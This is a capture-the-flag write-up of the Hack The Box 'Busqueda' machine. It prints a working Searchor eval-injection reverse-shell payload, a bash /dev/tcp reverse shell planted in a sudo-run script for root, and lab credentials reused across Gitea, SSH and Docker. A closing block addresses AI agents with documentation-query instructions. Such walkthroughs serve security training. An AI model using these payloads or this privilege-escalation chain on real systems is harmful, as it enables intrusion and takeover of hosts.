# Busqueda

## Box info

<figure><img src="/files/JSzXkw0giJQyAJgPH9JM" alt="" width="563"><figcaption></figcaption></figure>

## Enumeration

### Nmap

Let's start by scanning the target with `Nmap`:&#x20;

{% code fullWidth="false" %}

```bash
szczygielka@hacks$ nmap -sVC -p- 10.129.215.144
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-20 07:13 EST
Nmap scan report for the searcher.htb (10.129.215.144)
Host is up (0.035s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Searcher
| http-server-header: 
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/2.1.2 Python/3.10.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.17 seconds
```

{% endcode %}

The `Nmap` scan result shows that 2 ports are open. `SSH` is running on port 22 and the `Apache` HTTP server is running on port 80. The `HTTP` response shows redirection to the domain `http://searcher.htb/`. Let's add the following line to the `/etc/hosts` file:

```
10.129.215.144    searcher.htb
```

### Exploring website

Now open the domain `http://searcher.htb/` via a web browser. The website seems to be a search engine. The webpage allows us to select a search engine and based on the entered phrase, it redirects us to the search result in a selected engine or returns the URL address of the query.&#x20;

<figure><img src="/files/kpthdoZAR19u7VVCEUNn" alt=""><figcaption></figcaption></figure>

At the bottom of the website, we can see that the webpage uses `Flask` and `Searchor 2.4.0`. From the `Searchor` documentation, we find out that this is the Python library used to simplify web scraping, obtaining information, and generating search query URLs. More information about this library can be found [here](https://github.com/ArjunSharda/Searchor). Since we know what version of the `Searchor` is used on the website, let's check if this library has any vulnerabilities.

### CVE-2023-43364

Search results for possible vulnerabilities for this library on the Internet indicate that the `Searchor` library up to version `2.4.1` seems to be vulnerable to Arbitrary Code Execution due to the use of an unsafe implementation of an `eval` method.

{% embed url="<https://security.snyk.io/vuln/SNYK-PYTHON-SEARCHOR-3166303>" %}

Vulnerable code:

```
url = eval(
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        )
```

If the `query` parameter is not sanitized, it may lead to remote code execution. In the version `2.4.2` of `Searchor` this vulnerability was patched as we can check [here](https://github.com/ArjunSharda/Searchor/commit/29d5b1f28d29d6a282a5e860d456fab2df24a16b).&#x20;

## Exploitation

The information found shows that the version of the library found should also be vulnerable. This vulnerability can be exploited by using the following method, which should allow us to obtain a reverse shell:

{% embed url="<https://github.com/nexis-nexis/Searchor-2.4.0-POC-Exploit->" fullWidth="false" %}

To exploit the library we have to run the listener on our attacking machine and send the prepared payload as a value of the `POST` query parameter, which using Python will connect to our listener.

Let's prepare the `nc` listener:

```
nc -nvlp 443
```

Now prepare the payload with the proper IP and listening port:&#x20;

<pre data-overflow="wrap"><code><strong>', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.172',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#
</strong></code></pre>

The payload can be sent directly from the web browser, but in this case, we will use `Burp`:

<figure><img src="/files/hXo9yBZTl9QEXxAiC0GY" alt=""><figcaption></figcaption></figure>

After sending the `POST` request with payload, we get a reverse shell:

```
szczygielka@hacks$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.172] from (UNKNOWN) [10.129.215.144] 46702
/bin/sh: 0: can't access tty; job control turned off
$ 
```

Let's upgrade the shell via the following command:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

We get a reverse shell as `svc` user:

```
svc@busqueda:/var/www/app$ whoami
svc
```

### User flag

The previous steps lead us to the `svc` user. The user flag can be obtained from `/home/svc/user.txt`.&#x20;

## Privilege escalation

In the user's home directory, we find the `.gitconfig` file:

```
svc@busqueda:~$ ls -la
total 36
drwxr-x--- 4 svc  svc  4096 Apr  3  2023 .
drwxr-xr-x 3 root root 4096 Dec 22  2022 ..
lrwxrwxrwx 1 root root    9 Feb 20  2023 .bash_history -> /dev/null
-rw-r--r-- 1 svc  svc   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 svc  svc  3771 Jan  6  2022 .bashrc
drwx------ 2 svc  svc  4096 Feb 28  2023 .cache
-rw-rw-r-- 1 svc  svc    76 Apr  3  2023 .gitconfig
drwxrwxr-x 5 svc  svc  4096 Jun 15  2022 .local
lrwxrwxrwx 1 root root    9 Apr  3  2023 .mysql_history -> /dev/null
-rw-r--r-- 1 svc  svc   807 Jan  6  2022 .profile
lrwxrwxrwx 1 root root    9 Feb 20  2023 .searchor-history.json -> /dev/null
-rw-r----- 1 root svc    33 Feb 19 20:06 user.txt
```

From this file, we find out the username and e-mail address, that might be helpful in the future:

```
svc@busqueda:~$ cat .gitconfig
cat .gitconfig
[user]
        email = cody@searcher.htb
        name = cody
[core]
        hooksPath = no-hooks
```

The presence of a `.gitconfig` file in the home directory, responsible for the global Git configuration, may indicate the presence of Git repositories in the file system. The `find` command returns us 2 locations of 2 directories with Git repositories:

```
svc@busqueda:~$ find / -type d -name .git 2>/dev/null
/var/www/app/.git
/opt/scripts/.git
```

Let's move to the first `.git` directory and analyze its contents. In the `config` file, we find a URL that seems to contain the credentials of the user `cody` to the subdomain `gitea.searcher.htb`:

{% code overflow="wrap" %}

```
svc@busqueda:/var/www/app/.git$ cat config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main
```

{% endcode %}

Add the found subdomain to the `/etc/hosts` file and go to this webpage using the web browser:

<figure><img src="/files/deJvYM6CGGLOJ7ukyGIl" alt=""><figcaption></figcaption></figure>

From the documentation of Gitea, we find out that it is an all-in-one software development service, it includes Git hosting, code review, team collaboration, package registry, and CI/CD. More information about Gitea can be found [here](https://docs.gitea.com/).&#x20;

Let's try to log in as a user `cody`, entering the password we found:

<figure><img src="/files/Y2H0n5n8xdrWBt7kQKOu" alt=""><figcaption></figcaption></figure>

We log in successfully as a `cody`. On the platform, we can see there is another user `administrator`:

<figure><img src="/files/DoSCNVqJ7nlAeyXlB37O" alt=""><figcaption></figcaption></figure>

On the website, we can find a repository called `Searcher_site`, containing the source code of the run `Searcher` web application:

<figure><img src="/files/dAoildYCqTkxkLL9nzJy" alt=""><figcaption></figcaption></figure>

After analyzing the repository, we do not find anything interesting in it. Trying to log in as the administrator with the `cody's` password also fails. Let's try to use the password we found to log in as the `svc` user via `SSH`:

```
szczygielka@hacks$ ssh svc@10.129.215.144
The authenticity of host '10.129.215.144 (10.129.215.144)' can't be established.
ED25519 key fingerprint is SHA256:LJb8mGFiqKYQw3uev+b/ScrLuI4Fw7jxHJAoaLVPJLA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.215.144' (ED25519) to the list of known hosts.
svc@10.129.215.144's password: 
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-69-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Feb 20 01:14:57 PM UTC 2024

  System load:                      0.0
  Usage of /:                       80.2% of 8.26GB
  Memory usage:                     50%
  Swap usage:                       0%
  Processes:                        238
  Users logged in:                  0
  IPv4 address for br-c954bf22b8b2: 172.20.0.1
  IPv4 address for br-cbf2c5ce8e95: 172.19.0.1
  IPv4 address for br-fba5a3e31476: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.129.215.144
  IPv6 address for eth0:            dead:beef::250:56ff:fe96:1a75


 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.

     https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Apr  4 17:02:09 2023 from 10.10.14.19
svc@busqueda:~$ 

```

`SSH` login is successful. Let's check if the `svc` user can execute any commands using `sudo`:

```
svc@busqueda:~$ sudo -l
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *
```

The output of the `sudo -l` command indicates that we can run the `/opt/scripts/system-checkup.py` script with `sudo` privileges using `python3`. Checking script permission we can see that user `svc` does not have the right to read that script:

```
svc@busqueda:~$ ls -la /opt/scripts/system-checkup.py
-rwx--x--x 1 root root 1903 Dec 24  2022 /opt/scripts/system-checkup.py
```

So let's try to run it:

```
svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup
```

After executing the command, we receive information that we can execute this command with three different arguments: `docker-ps`, `docker-inspect` and `full-checkup`. Let's run the script with each of the arguments:

```
svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED         STATUS       PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   13 months ago   Up 2 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   13 months ago   Up 2 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>
svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong
```

Calling the script with the `docker-ps` argument returned information about two running containers. However, to run the script with the `docker-inspect` argument, two additional arguments are necessary. The script executed with a `full-checkup` argument returns the error information `Something went wrong`.&#x20;

So let's find out how to properly run the `system-checkup.py` script with the `docker-inspect` argument. The Docker inspect [documentation](https://docs.docker.com/reference/cli/docker/inspect/) shows that to obtain the container image configuration in JSON, the format can be specified as follows:

```
--format='{{json .Config}}'
```

Let's first dump the configuration for the `gitea` container:

{% code overflow="wrap" %}

```
svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' gitea
{"Hostname":"960873171e2e","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"22/tcp":{},"3000/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","USER=git","GITEA_CUSTOM=/data/gitea"],"Cmd":["/bin/s6-svscan","/etc/s6"],"Image":"gitea/gitea:latest","Volumes":{"/data":{},"/etc/localtime":{},"/etc/timezone":{}},"WorkingDir":"","Entrypoint":["/usr/bin/entrypoint"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"server","com.docker.compose.version":"1.29.2","maintainer":"maintainers@gitea.io","org.opencontainers.image.created":"2022-11-24T13:22:00Z","org.opencontainers.image.revision":"9bccc60cf51f3b4070f5506b042a3d9a1442c73d","org.opencontainers.image.source":"https://github.com/go-gitea/gitea.git","org.opencontainers.image.url":"https://github.com/go-gitea/gitea"}}

```

{% endcode %}

Configuration of `gitea` container after formatting:

```json
{
    "Hostname": "960873171e2e",
    "Domainname": "",
    "User": "",
    "AttachStdin": false,
    "AttachStdout": false,
    "AttachStderr": false,
    "ExposedPorts": {
        "22/tcp": {},
        "3000/tcp": {}
    },
    "Tty": false,
    "OpenStdin": false,
    "StdinOnce": false,
    "Env": [
        "USER_UID=115",
        "USER_GID=121",
        "GITEA__database__DB_TYPE=mysql",
        "GITEA__database__HOST=db:3306",
        "GITEA__database__NAME=gitea",
        "GITEA__database__USER=gitea",
        "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        "USER=git",
        "GITEA_CUSTOM=/data/gitea"
    ],
    "Cmd": [
        "/bin/s6-svscan",
        "/etc/s6"
    ],
    "Image": "gitea/gitea:latest",
    "Volumes": {
        "/data": {},
        "/etc/localtime": {},
        "/etc/timezone": {}
    },
    "WorkingDir": "",
    "Entrypoint": [
        "/usr/bin/entrypoint"
    ],
    "OnBuild": null,
    "Labels": {
        "com.docker.compose.config-hash": "e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515",
        "com.docker.compose.container-number": "1",
        "com.docker.compose.oneoff": "False",
        "com.docker.compose.project": "docker",
        "com.docker.compose.project.config_files": "docker-compose.yml",
        "com.docker.compose.project.working_dir": "/root/scripts/docker",
        "com.docker.compose.service": "server",
        "com.docker.compose.version": "1.29.2",
        "maintainer": "maintainers@gitea.io",
        "org.opencontainers.image.created": "2022-11-24T13:22:00Z",
        "org.opencontainers.image.revision": "9bccc60cf51f3b4070f5506b042a3d9a1442c73d",
        "org.opencontainers.image.source": "https://github.com/go-gitea/gitea.git",
        "org.opencontainers.image.url": "https://github.com/go-gitea/gitea"
    }
}
```

In the returned configuration we will find the `gitea` database login details:

```
GITEA__database__USER=gitea
GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh
```

We can check whether the newly found password will allow us to log in as an `administrator` user on the Gitea website:&#x20;

<figure><img src="/files/gGQnXvgE3fZsNSATFNaf" alt=""><figcaption></figcaption></figure>

Success!!! Now let's review the administrator's repositories:

<figure><img src="/files/eZTzlw7j5njRx0hHmDrW" alt=""><figcaption></figcaption></figure>

One of the files on the repository is the `system-checkup.py` script, which is probably the one we can execute with `sudo` privileges as the `svc` user:

<figure><img src="/files/KzAB4AAOhh0MP8X8OKta" alt=""><figcaption></figcaption></figure>

Let's take a closer look at the execution of the script with the `full-checkup` argument, which previously informed us that something went wrong:

```
elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)

```

The code snippet indicates that the `full-checkup.sh` script is invoked from the user's current directory (i.e. the directory where the user is currently located) and runs the `system-checkup.py` script. This means that the `full-checkup.sh` script will be run from the path where we will execute the following command, in this case from the `/home/svc` directory:

```
vc@busqueda:~$ pwd                                                                                                                                                                                                                          
/home/svc                                                                                                                                                                                                                                    
svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py full-checkup                                                                                                                                                                     
Something went wrong
```

We can therefore create our script with the same name with any content, and run it indirectly using the `system-checkup.py` script. Since the script `full-checkup.sh` will run with `sudo` privileges, we can try to escalate our privileges.&#x20;

So let's create our script in the `svc` user's home directory called a `full-checkup.sh`, with the payload which should allow us to connect with our attacking machine and run listener.&#x20;

Let's start the listener using `nc`:

```
szczygielka@hacks$ nc -lnvp 9000
```

Now create our script in the `svc` user's home directory called `full-checkup.sh`, with the following content:

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.172/9000 0>&1
```

Add its rights to execute:

```
svc@busqueda:~$ chmod +x full-checkup.sh
```

Then run the `system-checkup.py` script in the directory with our prepared script:

```
sudo python3 /opt/scripts/system-checkup.py full-checkup 
```

We got a reverse shell as `root`:

```
szczygielka@hacks$ nc -lnvp 9000
listening on [any] 9000 ...
connect to [10.10.14.172] from (UNKNOWN) [10.129.215.144] 33844
root@busqueda:/home/svc# 
```

### Root flag

The previous steps lead us to the `root` user. The root flag can be obtained at `/root/root.txt`.&#x20;


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://szczygielka.gitbook.io/writeups/hack-the-box-writeups/linux-machines/busqueda.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
